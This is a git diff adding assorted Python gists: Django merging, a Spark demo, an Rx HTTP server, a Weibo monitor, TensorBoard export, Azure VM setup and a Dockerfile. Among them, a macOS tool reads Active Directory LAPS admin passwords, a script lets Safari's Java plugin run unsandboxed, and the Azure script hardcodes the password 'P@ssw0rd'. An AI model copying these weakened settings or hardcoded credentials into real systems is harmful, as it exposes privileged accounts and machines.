+            for obj in related_many_objects.all():
+                getattr(obj, obj_varname).remove(alias_object)
+                getattr(obj, obj_varname).add(primary_object)
+
+        # Migrate all generic foreign key references from alias object to
+        # primary object.
+        for field in generic_fields:
+            filter_kwargs = {}
+            filter_kwargs[field.fk_field] = alias_object._get_pk_val()
+            filter_kwargs[field.ct_field] = field.get_content_type(alias_object)
+            related_objects = field.model.objects.filter(**filter_kwargs)
+            for generic_related_object in related_objects:
+                setattr(generic_related_object, field.name, primary_object)
+                generic_related_object.save()
+
+        if alias_object.id:
+            alias_object.delete()
+
+    return primary_object
+
+
+def get_generic_fields():
+    """Return a list of all GenericForeignKeys in all models."""
+    generic_fields = []
+    for model in apps.get_models():
+        for field_name, field in model.__dict__.items():
+            if isinstance(field, GenericForeignKey):
+                generic_fields.append(field)
+    return generic_fields
+
+
+def discrimine(pred, sequence):
+    """Split a collection in two collections using a predicate.
+
+    >>> discrimine(lambda x: x < 5, [3, 4, 5, 6, 7, 8])
+    ... ([3, 4], [5, 6, 7, 8])
+    """
+    positive, negative = [], []
+    for item in sequence:
+        if pred(item):
+            positive.append(item)
+        else:
+            negative.append(item)
+    return positive, negative
diff --git a/hard-gists/0191e14717af68bbba81/._snippet.py b/hard-gists/0191e14717af68bbba81/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0191e14717af68bbba81/._snippet.py differ
diff --git a/hard-gists/0191e14717af68bbba81/snippet.py b/hard-gists/0191e14717af68bbba81/snippet.py
new file mode 100644
index 00000000..b8823b00
--- /dev/null
+++ b/hard-gists/0191e14717af68bbba81/snippet.py
@@ -0,0 +1,61 @@
+"""
+This gist demonstrates that spark 1.0.0 and 0.9.1
+don't serialize a logger instance properly when code runs on workers.
+
+run this code via:    
+   spark-submit spark_serialization_demo.py
+    - or -
+   pyspark spark_serialization_demo.py
+"""
+import pyspark
+from os.path import abspath
+import logging
+
+# initialize logger
+log = logging.getLogger('alexTest')
+_h = logging.StreamHandler()
+_h.setFormatter(logging.Formatter("%(levelname)s  %(msg)s"))
+log.addHandler(_h)
+log.setLevel(logging.DEBUG)
+log.info("module imported and logger initialized")
+
+
+
+FUNC = 'passes()'
+
+
+def myfunc(*ignore_args):
+    log.debug('logging a line from: %s' % FUNC)
+    return 0
+
+
+def passes():
+    mycode_module = __import__('spark_serialization_demo')
+    print(textFile.map(mycode_module.myfunc, preservesPartitioning=True).take(5))
+
+
+def fails():
+    print(textFile.map(myfunc, preservesPartitioning=True).take(5))
+    raise Exception("Never reach this point because code fails first due to serialization error")
+    
+
+if __name__ == '__main__':
+    sc = pyspark.SparkContext("local[10]", 'test')
+    textFile = sc.textFile("file://%s" % abspath(__file__), 5)
+    print('\n\n---')
+
+    FUNC = 'fails()'
+    log.info(
+        "This example fails because it serializes a function that"
+        "does not initialize the logger when the function is unserialized")
+    try:
+        fails()
+    except Exception as err:
+        log.error("See, I failed!  Details: %s" % err)
+
+    print('\n---')
+
+    log.info(
+        "This example passes because it serializes a module that initializes"
+        " the logger when the module is unserialized")
+    passes()
diff --git a/hard-gists/019fd5c706e0bc94879f/._snippet.py b/hard-gists/019fd5c706e0bc94879f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/019fd5c706e0bc94879f/._snippet.py differ
diff --git a/hard-gists/019fd5c706e0bc94879f/snippet.py b/hard-gists/019fd5c706e0bc94879f/snippet.py
new file mode 100644
index 00000000..bdc0d6d7
--- /dev/null
+++ b/hard-gists/019fd5c706e0bc94879f/snippet.py
@@ -0,0 +1,167 @@
+# coding=utf-8
+from StringIO import StringIO
+from datetime import timedelta
+
+from rx import Observer
+from rx.concurrency import TwistedScheduler
+from rx.disposables import Disposable
+from rx.subjects import Subject
+from twisted.internet.protocol import Factory, Protocol, connectionDone
+from twisted.internet.endpoints import TCP4ServerEndpoint
+from twisted.internet import reactor
+
+scheduler=TwistedScheduler(reactor)  # using this to schedule timeouts
+
+KEEP_ALIVE_TIMEOUT=10  # seconds
+READ_TIMEOUT=5  # seconds
+
+
+class HttpConnection(Protocol):  # Protocol for Twisted
+  listener=Subject()  # shared by all connections
+
+  def connectionMade(self):
+    self.data_in=Subject()
+    self.listener.on_next(self)
+
+  def connectionLost(self, reason=connectionDone):
+    self.data_in.on_completed()
+
+  def dataReceived(self, data):
+    self.data_in.on_next(data)
+
+
+class HttpParser(Observer):
+  def __init__(self, conn):
+    super(HttpParser, self).__init__()
+    self.conn=conn
+    self.buf=StringIO()
+    self.requests_in=Subject()
+    self.responses_out=HttpWriter(conn)
+    self.keep_alive_timeout_dispose=Disposable.empty()
+    self.read_timeout_dispose=Disposable.empty()
+    self.keep_alive_timer_on()
+
+  def schedule_timeout(self, seconds):
+    def action(scheduler, state=None):
+      print 'timeout', seconds
+      self.requests_in.on_error(HttpResponse(408, 'Request Timeout'))
+
+    return scheduler.schedule_relative(timedelta(seconds=seconds), action)
+
+  def clear_timeout(self, disposable):
+    try:
+      disposable.dispose()
+    except: # Twisted sometimes complains when we try to cancel timeout after it has already fired
+      pass
+
+  def keep_alive_timer_on(self):
+    self.keep_alive_timer_off()
+    self.keep_alive_timeout_dispose=self.schedule_timeout(KEEP_ALIVE_TIMEOUT)
+
+  def keep_alive_timer_off(self):
+    self.clear_timeout(self.keep_alive_timeout_dispose)
+
+  def read_timer_on(self):
+    self.read_timer_off()
+    self.read_timeout_dispose=self.schedule_timeout(READ_TIMEOUT)
+
+  def read_timer_off(self):
+    self.clear_timeout(self.read_timeout_dispose)
+
+  def parse_request(self, buf):
+    lines=buf.split('\r\n')
+    first_line=lines[0].split()
+    if len(first_line)==3:
+      self.requests_in.on_next(HttpRequest(self.conn, first_line[0], first_line[1]))
+    else:
+      self.requests_in.on_error(HttpResponse(400, 'Bad Request'))
+
+  def on_next(self, data):
+    self.keep_alive_timer_off()
+    self.read_timer_on()
+    self.buf.write(data)  # append new data
+    buf=self.buf.getvalue()
+    eor=buf.find('\r\n\r\n')  # check we've got full request
+    if eor>=0:
+      self.buf=StringIO()
+      self.buf.write(buf[eor+4:])  # leave remainder in buf
+      self.parse_request(buf[:eor])
+      self.read_timer_off()
+      self.keep_alive_timer_on()
+
+  def on_error(self, e):
+    print 'parser got error', e
+    self.keep_alive_timer_off()
+    self.read_timer_off()
+    self.requests_in.on_error(HttpResponse(500, 'Internal Server Error'))
+
+  def on_completed(self):
+    print 'parser completed'
+    self.keep_alive_timer_off()
+    self.read_timer_off()
+    self.requests_in.on_completed()
+
+
+class HttpWriter(Observer):
+  def __init__(self, conn):
+    super(HttpWriter, self).__init__()
+    self.conn=conn
+
+  def on_next(self, resp):
+    self.conn.transport.write(resp.render())
+
+  def on_error(self, e):
+    print 'writer got error', e
+    if isinstance(e, HttpResponse):
+      self.conn.transport.write(e.render())
+    self.conn.transport.loseConnection()
+
+  def on_completed(self):
+    print 'writer completed'
+    self.conn.transport.loseConnection()
+
+
+class HttpRequest(object):
+  def __init__(self, conn, method, uri):
+    self.conn=conn
+    self.method=method.upper()
+    self.uri=uri
+
+  def __str__(self):
+    return '<RxRequest: %s %s>'%(self.method, self.uri)
+
+
+class HttpResponse(object):
+  def __init__(self, status_code, status_text, content=None, headers=None):
+    self.status_code=status_code
+    self.status_text=status_text
+    self.content=content or ''
+    self.headers=headers or ('Content-Type: text/plain; charset=utf-8',
+                             'Content-Length: '+str(len(self.content)))
+
+  def render(self):
+    return 'HTTP/1.1 '+str(self.status_code)+' '+self.status_text+'\r\n'+'\r\n'.join(
+      self.headers)+'\r\n\r\n'+self.content
+
+  def __str__(self):
+    return '<RxResponse: %d %s>'%(self.status_code, self.status_text)
+
+
+def accept_connection(conn):
+  # wire the data flow
+  http=HttpParser(conn)
+  conn.data_in.subscribe(http)
+  http.requests_in.map(handle_request).subscribe(http.responses_out)
+
+
+def handle_request(req):
+  # print 'req', req.method, req.uri
+  return HttpResponse(200, 'OK', content='Hello, '+req.uri+'!')
+
+
+HttpConnection.listener.subscribe(accept_connection)
+
+# run Twisted
+# listening on port 8007
+TCP4ServerEndpoint(reactor, 8007).listen(Factory.forProtocol(HttpConnection))
+reactor.run()
diff --git a/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/._snippet.py b/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/._snippet.py differ
diff --git a/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/snippet.py b/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/snippet.py
new file mode 100644
index 00000000..4c40c011
--- /dev/null
+++ b/hard-gists/01b8b8e1909ae0f601c85e142f2bd15b/snippet.py
@@ -0,0 +1,182 @@
+#!/usr/bin/env python
+# encoding=utf-8
+
+import codecs
+import json
+import os
+import sys
+
+from pushbullet import Pushbullet
+from weibo import Client
+from xtls.util import BeautifulSoup
+
+APP_HOME = os.path.join(os.path.expanduser("~"), '.weibo_monitor')
+if not os.path.isdir(APP_HOME):
+    os.mkdir(APP_HOME)
+
+PUSHBULLET = Pushbullet('PUSH_BULLET_API_KEY')
+
+APP_KEY = '*****'
+APP_SECRET = '******'
+CALLBACK_URL = 'https://api.weibo.com/oauth2/default.html'
+AUTH_URL = 'https://api.weibo.com/oauth2/authorize'
+USERID = '******'
+PASSWD = '*******'
+
+
+class ObjectDict(dict):
+    def __getattr__(self, key):
+        if key in self:
+            return self[key]
+        return None
+
+    def __setattr__(self, key, value):
+        self[key] = value
+
+
+class User(ObjectDict):
+    def __init__(self, id_, avatar_hd, description, followers_count, friends_count, location, name, url):
+        super(User, self).__init__(
+            id=id_,
+            avatar_hd=avatar_hd,
+            description=description,
+            followers_count=followers_count,
+            friends_count=friends_count,
+            location=location,
+            name=name,
+            url=url
+        )
+
+    def diff(self, other):
+        diff = []
+        if self.name != other.name:
+            diff.append(u'昵称')
+        if self.avatar_hd != other.avatar_hd:
+            diff.append(u'头像')
+        if self.description != other.description:
+            diff.append(u'简介')
+        if self.location != other.location:
+            diff.append(u'地址')
+        if self.url != other.url:
+            diff.append(u'博客')
+        return diff
+
+    def __eq__(self, other):
+        return self.id == other.id
+
+
+class Tweet(ObjectDict):
+    def __init__(self, id_, text, source, geo, retweeted_status=None):
+        super(Tweet, self).__init__(
+            id=id_,
+            text=text,
+            source=source,
+            geo=geo,
+            retweeted_status=retweeted_status
+        )
+
+
+class Weibo(ObjectDict):
+    """
+    {
+        "user": #User,
+        "tweets": [#Tweet, #Tweet, ...],
+        "last": Tweet.id
+    }
+    """
+
+    def __init__(self, user, tweets=None, last=0):
+        if tweets is None:
+            tweets = []
+        super(Weibo, self).__init__(
+            user=user,
+            tweets=tweets,
+            last=last
+        )
+
+
+def get_weibo(uid):
+    path = os.path.join(APP_HOME, '{}.wm'.format(uid))
+    if not os.path.exists(path):
+        return Weibo(None)
+    with codecs.open(path, 'rb', encoding='utf-8') as fp:
+        data = json.loads(fp.read())
+    return Weibo(get_user(data),
+                 tweets=[get_tweet(t) for t in data['tweets']],
+                 last=data['last'])
+
+
+def save_weibo(uid, data):
+    data = json.dumps(data, ensure_ascii=False, sort_keys=True)
+    path = os.path.join(APP_HOME, '{}.wm'.format(uid))
+    with codecs.open(path, 'wb', encoding='utf-8') as fp:
+        fp.write(data)
+
+
+def get_user(status):
+    return User(
+        status['user']['id'],
+        status['user']['avatar_hd'],
+        status['user']['description'],
+        status['user']['followers_count'],
+        status['user']['friends_count'],
+        status['user']['location'],
+        status['user']['name'],
+        status['user']['url'],
+    )
+
+
+def get_tweet(status):
+    return Tweet(
+        id_=status['id'],
+        text=status['text'],
+        source=status['source'],
+        geo=status['geo'],
+        retweeted_status=None
+    )
+
+
+def send_noti(title, body):
+    print u'send <{}>, <{}>'.format(title, body)
+    PUSHBULLET.push_note(title, body)
+
+
+def main(uid):
+    client = Client(APP_KEY, APP_SECRET, CALLBACK_URL, username=USERID, password=PASSWD)
+    data = client.get('statuses/friends_timeline')
+    statuses = [status for status in data['statuses'] if status['user']['id'] == uid]
+    statuses.sort(key=lambda x: x['id'], reverse=True)
+    if not statuses:
+        return
+    weibo = get_weibo(uid)
+    newest = get_user(statuses[0])
+
+    if weibo.user is None:
+        weibo.user = newest
+
+    diff = weibo.user.diff(newest)
+
+    if diff:
+        weibo.user = newest
+        send_noti(u'{} 的微博资料更新'.format(weibo.user.name),
+                  u'{} 的微博资料有如下更新：\n{}'.format(weibo.user.name, u'\n'.join(diff)))
+
+    tweet = get_tweet(statuses[0])
+    has_new = weibo.last != tweet.id
+
+    if has_new:
+        weibo.last = tweet.id
+        weibo.tweets.append(tweet)
+        send_noti(u'{} 发新微博啦~'.format(weibo.user.name),
+                  u'{} 通过【{}】发送了一条微博，内容是：\n{}'.format(
+                      weibo.user.name,
+                      BeautifulSoup(tweet.source).getText(),
+                      tweet.text
+                  ))
+
+    if has_new or diff:
+        save_weibo(uid, weibo)
+
+
+if __name__ == '__main__':
+    main(int(sys.argv[1]))
diff --git a/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/._snippet.py b/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/._snippet.py differ
diff --git a/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/snippet.py b/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/snippet.py
new file mode 100644
index 00000000..7245cea0
--- /dev/null
+++ b/hard-gists/01bf3900d3a02c4e3927b2a2bcf39100/snippet.py
@@ -0,0 +1,107 @@
+#!/usr/bin/python
+'''Get LAPS password for AD Computers'''
+# #################################################################
+# This script will allow an admin user with
+# the proper domain crednetials to get a LAPS
+# password form Active Directory.
+# ##################################################################
+# Original script by barteardon
+# https://github.com/bartreardon/macscripts/blob/master/lapssearch
+# Updated script using pyObjC:
+# Joshua D. Miller - josh@psu.edu
+# The Pennsylvania State University - September 18, 2017
+# #################################################################
+from getpass import getpass
+from os import system
+from OpenDirectory import (ODSession, ODNode,
+                           kODRecordTypeComputers)
+from SystemConfiguration import (SCDynamicStoreCreate,
+                                 SCDynamicStoreCopyValue)
+
+
+class color:
+    # From Stack Overflow
+    # https://stackoverflow.com/questions/
+    # 8924173/how-do-i-print-bold-text-in-python
+    BOLD = '\033[1m'
+    UNDERLINE = '\033[4m'
+    END = '\033[0m'
+
+
+def macOSLAPS_Utility(choice, ad_user_name, ad_password, computer_name):
+        '''Function to connect and pull information from Active Directory
+        some code borrowed from AD PassMon - Thanks @macmuleblog'''
+        # Active Directory Connection and Extraction of Data
+        try:
+            # Create Net Config
+            net_config = SCDynamicStoreCreate(None, "net", None, None)
+            # Get Active Directory Info
+            ad_info = dict(
+                SCDynamicStoreCopyValue(
+                    net_config, 'com.apple.opendirectoryd.ActiveDirectory'))
+            # Create Active Directory Path
+            adpath = '{0:}/{1:}'.format(ad_info['NodeName'],
+                                        ad_info['DomainNameDns'])
+            # Use Open Directory To Connect to Active Directory
+            node, error = ODNode.nodeWithSession_name_error_(
+                ODSession.defaultSession(), adpath, None)
+            node.setCredentialsWithRecordType_recordName_password_error_(
+                None, ad_user_name, ad_password, None)
+            # Grab the Computer Record
+            computer_record, error = node.\
+                recordWithRecordType_name_attributes_error_(
+                    kODRecordTypeComputers,
+                    "{0:}$".format(computer_name), None, None)
+            # Convert to Readable Values
+            values, error = computer_record.\
+                recordDetailsForAttributes_error_(None, None)
+            # Get LAPS Password for machine
+            if choice == "1":
+                print "Password: {0:}{1:}{2:}".format(
+                    color.BOLD,
+                    values['dsAttrTypeNative:ms-Mcs-AdmPwd'][0],
+                    color.END)
+                raw_input("\n\nPress any key to continue....")
+            elif choice == "2":
+                computer_record.setValue_forAttribute_error_(
+                    '126227988000000000',
+                    'dsAttrTypeNative:ms-Mcs-AdmPwdExpirationTime',
+                    None)
+                raw_input("\n\nForce Expire time Set. Keep in mind that"
+                          " macOSLAPS will need to run on the system before"
+                          " the password is changed."
+                          " Press any key to continue...")
+        except StandardError as error:
+            print error
+
+
+def main():
+    '''Main function of macOSLAPS Password retrieval utility'''
+    print "Welcome to the macOSLAPS Utility"
+    ad_user_name = raw_input("Please enter your username:")
+    ad_password = getpass("Please enter your password:")
+    choice = "0"
+    while choice != "3":
+        system('clear')
+        print "macOSLAPS Utility"
+        print "-----------------"
+        print "1. Get LAPS Password"
+        print "2. Reset LAPS Password"
+        print "3. Exit"
+        choice = raw_input("\n >>  ")
+        if choice != "1" and choice != "2" and choice != "3":
+            raw_input("\n\nPlease enter a valid choice"
+                      " (Example \"1\", \"2\", \"3\")")
+            continue
+        if choice == "3":
+            print "Thank you for using macOSLAPS Utility!"
+            continue
+        computer_name = raw_input("Computer Name: ")
+        macOSLAPS_Utility(choice, ad_user_name, ad_password, computer_name)
+        continue
+
+    exit(0)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/01c99322cf985e771827/._snippet.py b/hard-gists/01c99322cf985e771827/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/01c99322cf985e771827/._snippet.py differ
diff --git a/hard-gists/01c99322cf985e771827/snippet.py b/hard-gists/01c99322cf985e771827/snippet.py
new file mode 100644
index 00000000..13643628
--- /dev/null
+++ b/hard-gists/01c99322cf985e771827/snippet.py
@@ -0,0 +1,47 @@
+import plistlib
+import CoreFoundation
+from Foundation import NSDate, NSMutableArray, NSMutableDictionary
+
+# read the current ManagedPlugInPolicies
+policy = CoreFoundation.CFPreferencesCopyAppValue("ManagedPlugInPolicies", "com.apple.Safari")
+
+if policy:
+    # policy is an immutable dict, so we have to make a mutable copy
+    my_policy = NSMutableDictionary.alloc().initWithDictionary_copyItems_(policy, True)
+else:
+    # create an empty dict
+    my_policy = {}
+
+if 'com.oracle.java.JavaAppletPlugin' in my_policy:
+    # make a mutable copy of the dict
+    current_dict = my_policy['com.oracle.java.JavaAppletPlugin']
+    my_policy['com.oracle.java.JavaAppletPlugin'] = NSMutableDictionary.alloc().initWithDictionary_copyItems_(current_dict, True)
+else:
+    # create an empty dict
+    my_policy['com.oracle.java.JavaAppletPlugin'] = {}
+
+if 'PlugInHostnamePolicies' in my_policy['com.oracle.java.JavaAppletPlugin']:
+    # make a mutable copy of the array
+    current_array = my_policy['com.oracle.java.JavaAppletPlugin']['PlugInHostnamePolicies']
+    my_policy['com.oracle.java.JavaAppletPlugin']['PlugInHostnamePolicies'] = NSMutableArray.alloc().initWithArray_(current_array)
+else:
+    # create an empty array
+    my_policy['com.oracle.java.JavaAppletPlugin']['PlugInHostnamePolicies'] = []
+
+found_foocorp_vpn = False
+# iterate through dicts in com.oracle.java.JavaAppletPlugin:PlugInHostnamePolicies
+for dict_item in my_policy['com.oracle.java.JavaAppletPlugin']['PlugInHostnamePolicies']:
+    if dict_item.get('PlugInHostname') == 'vpn.foocorp.com':
+        found_foocorp_vpn = True
+
+if not found_foocorp_vpn:
+    foocorp_vpn = { 'PlugInPageURL': 'https://vpn.foocorp.com/index.cgi',
+                     'PlugInHostname': 'vpn.foocorp.com',
+                     'PlugInRunUnsandboxed': True,
+                     'PlugInPolicy': 'PlugInPolicyAllowNoSecurityRestrictions',
+                     'PlugInLastVisitedDate': NSDate.date() }
+    # add our new policy to the array
+    my_policy['com.oracle.java.JavaAppletPlugin']['PlugInHostnamePolicies'].append(foocorp_vpn)
+
+# save the changed preference
+CoreFoundation.CFPreferencesSetAppValue("ManagedPlugInPolicies", my_policy,  "com.apple.Safari")
diff --git a/hard-gists/026a4d6400b1efac9a13a3296f16e655/._snippet.py b/hard-gists/026a4d6400b1efac9a13a3296f16e655/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/026a4d6400b1efac9a13a3296f16e655/._snippet.py differ
diff --git a/hard-gists/026a4d6400b1efac9a13a3296f16e655/snippet.py b/hard-gists/026a4d6400b1efac9a13a3296f16e655/snippet.py
new file mode 100644
index 00000000..9ba06e08
--- /dev/null
+++ b/hard-gists/026a4d6400b1efac9a13a3296f16e655/snippet.py
@@ -0,0 +1,42 @@
+# required tensorflow 0.12
+# required gensim 0.13.3+ for new api model.wv.index2word or just use model.index2word
+
+from gensim.models import Word2Vec
+import tensorflow as tf
+from tensorflow.contrib.tensorboard.plugins import projector
+
+# loading your gensim
+model = Word2Vec.load("YOUR-MODEL")
+
+# project part of vocab, 10K of 300 dimension
+w2v_10K = np.zeros((10000,300))
+with open("./projector/prefix_metadata.tsv", 'w+') as file_metadata:
+    for i,word in enumerate(model.wv.index2word[:10000]):
+        w2v_10K[i] = model[word]
+        file_metadata.write(word.encode('utf-8') + '\n')
+        
+
+# define the model without training
+sess = tf.InteractiveSession()
+
+with tf.device("/cpu:0"):
+    embedding = tf.Variable(w2v_10K, trainable=False, name='prefix_embedding')
+
+tf.global_variables_initializer().run()
+
+saver = tf.train.Saver()
+writer = tf.summary.FileWriter('./projector', sess.graph)
+
+# adding into projector
+config = projector.ProjectorConfig()
+embed= config.embeddings.add()
+embed.tensor_name = 'fs_embedding:0'
+embed.metadata_path = './projector/prefix_metadata.tsv'
+
+# Specify the width and height of a single thumbnail.
+projector.visualize_embeddings(writer, config)
+
+saver.save(sess, './projector/prefix_model.ckpt', global_step=10000)
+
+# open tensorboard with logdir, check localhost:6006 for viewing your embedding.
+# tensorboard --logdir="./projector/"
diff --git a/hard-gists/02ff378b3a91de94306a84d3aa2228bb/._snippet.py b/hard-gists/02ff378b3a91de94306a84d3aa2228bb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/02ff378b3a91de94306a84d3aa2228bb/._snippet.py differ
diff --git a/hard-gists/02ff378b3a91de94306a84d3aa2228bb/snippet.py b/hard-gists/02ff378b3a91de94306a84d3aa2228bb/snippet.py
new file mode 100644
index 00000000..4772d7cf
--- /dev/null
+++ b/hard-gists/02ff378b3a91de94306a84d3aa2228bb/snippet.py
@@ -0,0 +1,217 @@
+import azure.mgmt.compute
+import azure.mgmt.compute.models
+import azure.mgmt.network
+import azure.mgmt.network.models
+import azure.mgmt.resource
+import azure.mgmt.resource.resources.models
+import azure.mgmt.storage
+import azure.mgmt.storage.models
+from azure.common.credentials import ServicePrincipalCredentials
+from azure.mgmt.resource.resources import ResourceManagementClient, ResourceManagementClientConfiguration
+
+BASE_NAME = 'armpytest1404'
+
+GROUP_NAME = BASE_NAME
+STORAGE_NAME = BASE_NAME
+VIRTUAL_NETWORK_NAME = BASE_NAME
+SUBNET_NAME = BASE_NAME
+NETWORK_INTERFACE_NAME = BASE_NAME
+VM_NAME = BASE_NAME
+OS_DISK_NAME = BASE_NAME
+PUBLIC_IP_NAME = BASE_NAME
+COMPUTER_NAME = BASE_NAME
+ADMIN_USERNAME='azureuser'
+ADMIN_PASSWORD='P@ssw0rd'
+REGION = 'northeurope'
+IMAGE_PUBLISHER = 'Canonical'
+IMAGE_OFFER = 'UbuntuServer'
+IMAGE_SKU = '14.04.4-LTS'
+IMAGE_VERSION = 'latest'
+
+subscription_id = '252281c3-8a06-4af8-8f3f-d6af13e4fde3'
+
+credentials = ServicePrincipalCredentials(
+    client_id = 'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx',
+    secret = 'abcdefg',
+    tenant = 'yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy'
+)
+
+compute_client = azure.mgmt.compute.ComputeManagementClient(
+    azure.mgmt.compute.ComputeManagementClientConfiguration(
+        credentials,
+        subscription_id
+    )
+)
+
+network_client = azure.mgmt.network.NetworkManagementClient(
+    azure.mgmt.network.NetworkManagementClientConfiguration(
+        credentials,
+        subscription_id
+    )
+)
+
+storage_client = azure.mgmt.storage.StorageManagementClient(
+    azure.mgmt.storage.StorageManagementClientConfiguration(
+        credentials,
+        subscription_id
+    )
+)
+
+resource_client = ResourceManagementClient(
+    ResourceManagementClientConfiguration(
+        credentials,
+        subscription_id
+    )
+)
+
+
+def create_network_interface(network_client, region, group_name, interface_name,
+                             network_name, subnet_name, ip_name):
+
+    result_vnet = network_client.virtual_networks.create_or_update(
+        group_name,
+        network_name,
+        azure.mgmt.network.models.VirtualNetwork(
+            location=region,
+            address_space=azure.mgmt.network.models.AddressSpace(
+                address_prefixes=[
+                    '10.1.0.0/16',
+                ],
+            ),
+            subnets=[
+                azure.mgmt.network.models.Subnet(
+                    name=subnet_name,
+                    address_prefix='10.1.0.0/24',
+                ),
+            ],
+        ),
+    )
+
+    result_vnet.wait()
+
+    subnet = network_client.subnets.get(group_name, network_name, subnet_name)
+
+    result_pubip = network_client.public_ip_addresses.create_or_update(
+        group_name,
+        ip_name,
+        azure.mgmt.network.models.PublicIPAddress(
+            location=region,
+            public_ip_allocation_method=azure.mgmt.network.models.IPAllocationMethod.dynamic,
+            idle_timeout_in_minutes=4,
+        ),
+    )
+
+    result_pubip.wait()
+
+    public_ip_address = network_client.public_ip_addresses.get(group_name, ip_name)
+    public_ip_id = public_ip_address.id
+
+    result_nic = network_client.network_interfaces.create_or_update(
+        group_name,
+        interface_name,
+        azure.mgmt.network.models.NetworkInterface(
+            name=interface_name,
+            location=region,
+            ip_configurations=[
+                azure.mgmt.network.models.NetworkInterfaceIPConfiguration(
+                    name='default',
+                    private_ip_allocation_method=azure.mgmt.network.models.IPAllocationMethod.dynamic,
+                    subnet=subnet,
+                    public_ip_address=public_ip_address,
+                ),
+            ],
+        ),
+    )
+
+    result_nic.wait()
+
+    network_interface = network_client.network_interfaces.get(
+        group_name,
+        interface_name,
+    )
+
+    return network_interface.id
+
+# 1. Create a resource group
+result_rg = resource_client.resource_groups.create_or_update(
+    GROUP_NAME,
+    azure.mgmt.resource.resources.models.ResourceGroup(
+        location=REGION,
+    ),
+)
+
+# result_list_sizes = compute_client.virtual_machine_sizes.list(REGION)
+#
+# for i in result_list_sizes:
+#     print(i)
+
+# 2. Create a storage account
+result_stor = storage_client.storage_accounts.create(
+    GROUP_NAME,
+    STORAGE_NAME,
+    azure.mgmt.storage.models.StorageAccountCreateParameters(
+        location=REGION,
+        account_type=azure.mgmt.storage.models.AccountType.standard_lrs,
+    ),
+)
+result_stor.wait() # async operation
+
+# 3. Create the network interface using a helper function (defined below)
+nic_id = create_network_interface(
+    network_client,
+    REGION,
+    GROUP_NAME,
+    NETWORK_INTERFACE_NAME,
+    VIRTUAL_NETWORK_NAME,
+    SUBNET_NAME,
+    PUBLIC_IP_NAME,
+)
+
+# 4. Create the virtual machine
+result = compute_client.virtual_machines.create_or_update(
+    GROUP_NAME,
+    VM_NAME,
+    azure.mgmt.compute.models.VirtualMachine(
+        location=REGION,
+        name=VM_NAME,
+        os_profile=azure.mgmt.compute.models.OSProfile(
+            admin_username=ADMIN_USERNAME,
+            admin_password=ADMIN_PASSWORD,
+            computer_name=COMPUTER_NAME,
+        ),
+        hardware_profile=azure.mgmt.compute.models.HardwareProfile(
+            vm_size=azure.mgmt.compute.models.VirtualMachineSizeTypes.standard_d1
+        ),
+        network_profile=azure.mgmt.compute.models.NetworkProfile(
+            network_interfaces=[
+                azure.mgmt.compute.models.NetworkInterfaceReference(
+                    id=nic_id,
+                ),
+            ],
+        ),
+        storage_profile=azure.mgmt.compute.models.StorageProfile(
+            os_disk=azure.mgmt.compute.models.OSDisk(
+                caching=azure.mgmt.compute.models.CachingTypes.none,
+                create_option=azure.mgmt.compute.models.DiskCreateOptionTypes.from_image,
+                name=OS_DISK_NAME,
+                vhd=azure.mgmt.compute.models.VirtualHardDisk(
+                    uri='https://{0}.blob.core.windows.net/vhds/{1}.vhd'.format(
+                        STORAGE_NAME,
+                        OS_DISK_NAME,
+                    ),
+                ),
+            ),
+            image_reference=azure.mgmt.compute.models.ImageReference(
+                publisher=IMAGE_PUBLISHER,
+                offer=IMAGE_OFFER,
+                sku=IMAGE_SKU,
+                version=IMAGE_VERSION,
+            ),
+        ),
+    ),
+)
+
+result.wait()
+
+public_ip_address = network_client.public_ip_addresses.get(GROUP_NAME, PUBLIC_IP_NAME)
+print('VM available at {}'.format(public_ip_address.ip_address))
diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/._snippet.py b/hard-gists/0306734dfe17076dfd34e09660c198c0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0306734dfe17076dfd34e09660c198c0/._snippet.py differ
diff --git a/hard-gists/0306734dfe17076dfd34e09660c198c0/Dockerfile-llm-3.8 b/hard-gists/0306734dfe17076dfd34e09660c198c0/Dockerfile-llm-3.8
new file mode 100644
index 00000000..72499312
--- /dev/null
+++ b/hard-gists/0306734dfe17076dfd34e09660c198c0/Dockerfile-llm-3.8
@@ -0,0 +1,16 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","reos==0.1.0"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","shapely==2.0.7"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","fiona==1.9.4.post1"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","geopandas==1.1.3"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","geojson==3.2.0"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","shapefile==2.0.1"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
